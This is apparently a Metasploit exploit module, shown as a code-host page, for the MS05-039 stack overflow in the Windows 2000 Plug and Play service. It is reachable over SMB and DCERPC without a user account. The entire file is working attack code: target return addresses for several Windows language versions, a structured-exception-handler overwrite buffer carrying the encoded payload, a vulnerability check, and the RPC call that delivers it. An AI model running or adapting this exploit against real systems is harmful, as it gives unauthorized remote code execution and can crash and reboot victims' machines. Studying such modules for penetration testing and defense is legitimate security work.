168 lines
4.6 KiB
Ruby
168 lines
4.6 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Smb::MS05_039_PNP < Msf::Exploit::Remote
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include Exploit::Remote::SMB
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include Exploit::Remote::DCERPC
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft PnP MS05-039 Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Windows Plug
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and Play service. This vulnerability can be exploited on
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Windows 2000 without a valid user account. Since the PnP
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service runs inside the service.exe process, a failed
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exploit attempt will cause the system to automatically
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reboot.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '18605'],
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[ 'CVE', '2005-1983'],
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[ 'BID', '14513'],
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[ 'MSB', 'MS05-039'],
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[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'],
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[ 'MIL', '87'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "",
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'Compat' =>
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{
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# -ws2ord XXX?
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},
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},
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'Targets' =>
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[
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[
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'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
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{
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'Platform' => 'win',
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'Ret' => 0x767a38f6, # umpnpmgr.dll
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},
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],
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[
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'Windows 2000 SP4 French',
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{
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'Platform' => 'win',
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'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com>
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},
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],
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[
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'Windows 2000 SP4 Spanish',
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{
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'Platform' => 'win',
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'Ret' => 0x767738f6, # umpnpmgr.dll
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},
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],
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[
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'Windows 2000 SP0-SP4 German',
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{
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'Platform' => 'win',
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'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de>
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},
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 9 2005'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
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], self.class)
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end
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def pnp_probe(req)
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connect()
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handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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# CS_DES
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cs_des = NDR.long(0) + # CSD_SignatureLength
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NDR.long(0) + # CSD_LegacyDataOffset
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NDR.long(req.length) + # CSD_LegacyDataSize
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NDR.long(0) + # CSD_Flags
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Rex::Text.rand_text(16) + # GUID
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req # CSD_LegacyData
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# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
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# ResourceName:
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stubdata = NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
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NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific
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NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)
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NDR.long(cs_des.length) + # ResourceLen
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NDR.long(4) + # OutputLen (at least 4)
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NDR.long(0) # Flags
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begin
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dcerpc.call(0x36, stubdata)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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print_status('server did not respond, but we do not expect it to.')
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else
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print_status('should be owned now...')
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end
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# Cleanup
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handler
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disconnect
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if (dcerpc.last_response != nil and
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dcerpc.last_response.stub_data != nil and
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dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
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return true
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else
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return false
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end
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end
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def check
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if (pnp_probe('A'))
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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# Pad the string up to reach our SEH frame
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buf = Rex::Text.rand_text(56)
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# Jump over the address and our invalid pointer to the payload
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buf << Rex::Arch::X86.jmp_short('$+32')
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buf << Rex::Text.rand_text(2)
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# The SEH handler pointer
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buf << [target.ret].pack('V')
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# Some padding to reach the next pointer
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buf << Rex::Text.rand_text(20)
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# ResourceName - cause access violation on RtlInitUnicodeString
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buf << Rex::Text.rand_text(3) + "\xff"
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# Append the encoded payload and we are good to go!
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buf << payload.encoded
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pnp_probe(buf)
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end
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end
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end
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